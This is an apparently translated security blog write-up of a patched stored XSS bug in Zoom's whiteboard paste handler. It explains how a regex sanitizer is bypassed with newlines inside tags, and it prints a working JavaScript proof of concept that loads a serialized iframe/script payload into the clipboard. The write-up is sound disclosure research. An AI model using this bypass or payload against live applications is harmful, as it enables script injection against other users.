剪贴板事件监听器中的存储型XSS漏洞分析

本文深入分析了Zoom白板功能中通过剪贴板事件监听器触发的存储型XSS漏洞,详细介绍了从代码审计到漏洞利用的全过程,包括ClipboardEvent API、数据反序列化机制和React组件安全绕过技术。

我希望这个漏洞能被记住:分析剪贴板事件监听器中的存储型XSS

2022年12月17日 · 1700字 · 8分钟阅读

什么时候复制粘贴payload不是自我XSS?当它是存储型XSS时。最近,我审查了Zoom的代码,发现了一个有趣的攻击向量。在这个过程中,我深入研究了ClipboardEvent和DataTransfer web API,并学到了很多关于动态拖放内部机制的知识。

序列化的接收器 🔗

Zoom包含一个Zoom白板功能,允许用户在共享画布上协作,包含便签、图表、富文本以及所有我们期望的典型实时文档协作功能。

有趣的是,这个功能在web和原生客户端上都使用JavaScript和嵌入式浏览器工作。得益于这种跨平台支持,我可以轻松获取该功能的客户端代码。此外,应用程序包含了webpack代码的源映射,允许我使用像我的Webpack Exploder这样的工具轻松将其解包到原始目录结构中。

快速浏览代码并使用CodeQL运行几个默认扫描后,我注意到以下函数似乎正在使用DataTransfer.getData()函数从剪贴板提取用户数据:

1
2
3
4
5
6
7
8
private prepareData(t: DataTransfer | null): ReadData | undefined {
  if (!t) return;
  return {
    html: t.getData(MIME_TYPE.TEXT_HTML),
    text: t.getData(MIME_TYPE.TEXT_PLAIN),
    files: Array.from(t.files || []),
  };
}

进一步追踪调用prepareData的代码,我确认这确实源自粘贴事件监听器:

1
2
3
4
5
document.addEventListener("paste", this.pasteListener);
...
private pasteListener = (evt: ClipboardEvent) => {
  this.pasteWrapper(this.prepareData(evt.clipboardData));
};

阅读MDN文档(我强烈推荐),我了解到粘贴事件包含一个clipboardData属性,它是DataTransfer对象的实例。反过来,DataTransfer对象包含一个getData(format)函数。文档进一步阐述,format参数可以是几种类型,取决于粘贴的数据,从text/plain(用于典型纯文本)到text/uri-list(用于URL或通过data: URI的文件)以及像application/x-moz-file这样的专有类型。规范很吸引人,绝对值得进一步研究浏览器特定的bug。这里,text/html类型指定了序列化(这将在后面很重要)的HTML数据。

一个有趣的细节是剪贴板可以包含不同的数据类型集:

1
2
3
const dt = event.dataTransfer;
dt.setData("text/html", "Hello there, <strong>stranger</strong>");
dt.setData("text/plain", "Hello there, stranger");

无论如何,大多数应用程序使用text/html类型来复制和粘贴富数据,如幻灯片、图表等。从剪贴板提取这些富数据后,应用程序通过page.paste()将其添加到页面。

1
2
3
4
5
6
private pasteWrapper = async (t?: ReadData) => {
  ...
  await this.read();
  ...
  await page.paste(position);
};

在对粘贴过于兴奋之前,我需要了解read函数如何将剪贴板数据解析为实际添加到页面的HTML节点。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
private async read() {
  let items: ClipboardItems = [];
  try {
    items = await navigator.clipboard.read();
  } catch (err) {
    SYSTEM_LOGGER.warn(err);
    return;
  }
  const target = items.pop();
  if (!target) return;
  const type = target.types[target.types.length - 1];
  if (!type) return;
  const b = await target.getType(type);
  ...
  if (type === MIME_TYPE.TEXT_PLAIN) {
    const t = await b.text();
    t && data.push(this.createTextBox(t));
  } else if (IMAGE_REGEXP.test(type)) {
    const ext = getBlobTypeExt(b);
    if (!ext) return;
    const f = new File([b], `image.${ext}`, { type });
    if (!this.uploadPermission(f)) return;
    const img = await this.createImage(f);
    img && data.push(img);
  } else if (type === MIME_TYPE.TEXT_HTML) {
    const zdcData = await getZDCCopyObjects(b);
    if (zdcData) {
      data.push(...zdcData.objs);
      zdcData.meta && this.updateMeta(zdcData.meta);
    } else {
      const t = getStringFromHtmlString(await b.text());
      t && data.push(this.createTextBox(t));
    }
  ...
}

这里,代码从剪贴板读取ClipboardItem对象数组,然后读取数组中的第一个ClipboardItem并根据其类型进行解析。每个都返回一个ZDCCopyObject实例,结果是一个自定义的Protocol Buffer类型。这个类型代表白板中的一个项目,如文本框、便签、图表或图像。例如,对于图像:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
private async createImage(file: File) {
  ...
  return {
    pageID: parseInt(page.id),
    id,
    wireType: WBObjType.WB_OBJ_TYPE_IMAGE,
    transform: [scale, 0, 0, scale, left, top],
    fileID,
    size: originSize,
    originalID: id,
  } as ZDCCopyObject;
}

我在从客户端发送到服务器的WebSocket消息中识别出这些序列化的protocol buffers,意味着客户端将粘贴的数据原样发送到服务器。虽然图像和纯文本类型在检查代码后似乎不太有趣,但HTML类型引起了我的注意,因为它以复杂的方式解析数据:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
export async function getZDCCopyObjects(b: Blob) {
  if (b.type !== MIME_TYPE.TEXT_HTML) return;
  const t = await b.text();

  return getZDCCopyObjectsFromHtmlString(t);
}

export const ExtractCopy = /^<--\(zdc-data\)(.*)\(\/zdc-data\)-->$/;

export const CopyMeta = {
  tag: "span",
  meta: "data-meta",
};

export function getZDCCopyObjectsFromHtmlString(s: string) {
  try {
    const d = new DOMParser().parseFromString(s, MIME_TYPE.TEXT_HTML);
    const el = d.querySelector(`${CopyMeta.tag}[${CopyMeta.meta}]`);
    if (!el) return;
    const bta = el.getAttribute(CopyMeta.meta);
    if (!bta) return;
    const match = bta.match(ExtractCopy);
    if (!match || !match[1]) return;
    const { objs, meta } = JSON.parse(
      decodeURIComponent(window.atob(match[1]))
    ) as {
      objs: ZDCCopyObject[];
      meta?: ClipTargetMeta;
    };
    return Array.isArray(objs) ? { objs, meta } : undefined;
  } catch (err) {
    SYSTEM_LOGGER.warn(err);
  }
}

简而言之,数据通过以下步骤从剪贴板数据"反序列化":

  1. 将剪贴板数据解析为HTML
  2. 提取HTML中第一个span元素的data-meta属性值
  3. 确认值匹配正则表达式/^<–(zdc-data)(.*)(/zdc-data)–>$/并提取内部匹配
  4. Base64解码内部匹配
  5. URI解码base64解码的数据
  6. 将结果解析为{ objs: ZDCCopyObject[]; meta?: ClipTargetMeta; },其中ZDCCopyObject是白板项目的表示,ClipTargetMeta是项目的元数据,如白板中的xy位置
  7. 返回反序列化结果

似乎我接近了一个XSS - 记住这些白板项目通过Websocket作为序列化的Protocol Buffer传输到服务器,然后发送给所有其他白板查看者以更新他们的实时视图。现在我需要审查这个输入的接收器。

不太干净的来源 🔗

通过检查自定义Protocol Buffer定义,我发现白板支持以下项目类型:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
export enum WBObjType {
  WB_OBJ_TYPE_UNKNOWN,
  WB_OBJ_TYPE_SHAPE,
  WB_OBJ_TYPE_LINE,
  WB_OBJ_TYPE_TEXT,
  WB_OBJ_TYPE_RICHTEXT,
  WB_OBJ_TYPE_GROUP,
  WB_OBJ_TYPE_SCRIBBLE,
  WB_OBJ_TYPE_STICKYNOTE,
  WB_OBJ_TYPE_IMAGE,
  WB_OBJ_TYPE_COMMENT,
}

每当新项目通过Websocket广播给白板查看者时,客户端的createFabricObject函数会将匹配的React组件插入页面。在这里,我遇到了一个障碍 - 由于React默认清理所有属性,任何用户控制的输入导致XSS的唯一方式是如果它使用dangerouslySetInnerHTML属性插入。然而,客户端代码中的所有组件都没有使用dangerouslySetInnerHTML…或者我是这么认为的。在白板项目上尝试不同的payload时,我注意到某些HTML标签如在我直接在便签中输入时有效,而其他标签被清理了。这是如何在没有dangerouslySetInnerHTML的情况下发生的?

事实证明,几个组件,如便签,正在使用react-contenteditable依赖作为子组件。根据设计,react-contenteditable将html属性传递给dangerouslySetInnerHTML!

开发人员似乎意识到了这一点,因为他们使用严格的DOMPurify配置来清理html属性:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
export const sanitizeHTML = (content: string) => {
  return DOMPurify.sanitize(content, {
    ALLOWED_TAGS: ["b", "i", "div", "br"],
    ALLOWED_ATTR: [],
  });
};
...
<ContentEditable
  className="content-editable-list"
  disabled
  html={sanitizeHTML(c.content)}
  onChange={() => {}}
/>

不幸的是,在检查代码中所有ContentEditable实例后,我发现他们忘记在StickyNote组件的ContentEditable子组件上使用sanitizeHTML!然而,在兴奋地尝试了几个payload后,我意识到开发人员允许这样做是因为他们在将输入传递回ContentEditable html属性之前运行了另一个清理函数convertToText:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
export const convertToText = (str = "") => {
  // 确保字符串
  let value = String(str);

  // 转换编码
  value = value.replace(/&nbsp;/gi, " ");
  value = value.replace(/&amp;/gi, "&");

  // 替换`<br>`
  value = value.replace(/<br>/gi, "\n");

  // 替换`<div>`(来自Chrome)
  value = value.replace(/<div>/gi, "\n");

  // 替换`<p>`(来自IE)
  value = value.replace(/<p>/gi, "\n");

  // 移除额外标签
  value = value.replace(/<(.*?)>/g, "");

  return value;
};

这个函数使用正则表达式将一些HTML标签替换为它们的视觉等效物,如div的换行符,并移除任何其他标签。它还转换了一些HTML编码以防止绕过。

我如何击败像/<(.*?)>/g这样的正则表达式?第一个线索是><仍然通过清理而没有任何更改。此外,虽然正则表达式使用/g全局标志替换所有匹配,但它未能包含/m多行标志。因此,<script \n>alert()</script \n/>毫发无损地出现了!

现在,我需要做的就是生成序列化的Protocol Buffer并通过Websocket发送。但是,为什么不写一个脚本将其添加到我的剪贴板并粘贴以触发XSS呢?更有趣且更容易被分类人员重现:)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// 更改了一些值
var objs = [{
  id: 123,
  pageID: 123,
  size: [1000, 1000],
  transform: [1, 0, 0, 1, 1010, 76],
  stickyWriterName: "Test",
  fill: 4293630463,
  stroke: 4294967295,
  strokeWidth: 1,
  fontSize: 32,
  fontWeight: "normal",
  textAlign: 1,
  text: "<iframe srcdoc='&#x3c;script&#x3e;alert()&#x3c;/script&#x3e;' \n></iframe\n>",
  textFill: 572666111,
  createTime: 1659021155815,
  modifiedTime: 1659021155815,
  wireType: 7,
  parentID: 171946614915072,
  originalID: 79322586389
}]
var meta = {
  docID: "abc123",
  originalCopyCenterPos: {
    x: 1010,
    y: 76
  }
}

function getHtmlString(objs, meta) {
  const str = JSON.stringify({
    objs,
    meta
  });
  const b = window.btoa(encodeURIComponent(str));
  return `<meta charset="utf-8"><span data-meta="<--(zdc-data)${b}(/zdc-data)-->"></span>`;
}

function getHtmlBlob(objs, meta) {
  return new Blob([getHtmlString(objs, meta)], {
    type: "text/html",
  });
}

var i = {}
i["text/html"] = getHtmlBlob(objs, meta)
setTimeout(function() {
  navigator.clipboard.write([new ClipboardItem(i)]);
  console.log("Payload added to clipboard")
}, 1500)

披露时间线 🔗

Zoom团队迅速解决了这个漏洞,这是一个良好安全计划的标志。

  • 7月29日:初始披露
  • 8月2日:分类
  • 8月21日:修补

最终想法 🔗

我真的很喜欢深入这个兔子洞,从多个清理和验证步骤中抓出了一个bug。剪贴板攻击向量呈现了有趣的场景,因为它可以通过JavaScript API控制。重要的是要注意payload通过Websocket传输给其他用户并且也未清理渲染,所以它与在控制台中复制粘贴JS不同。绝对值得更深入地挖掘MDN文档,以找出更多有趣的攻击向量。

由于易受攻击的接收器存在于依赖项中,我的CodeQL扫描错过了它。这个bug也会被默认的DevSecOps管道错过,因为代码扫描通常发生在测试阶段,在任何动态测试之前,依赖项被安装。

另外:正则表达式通常对清理来说很棘手。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计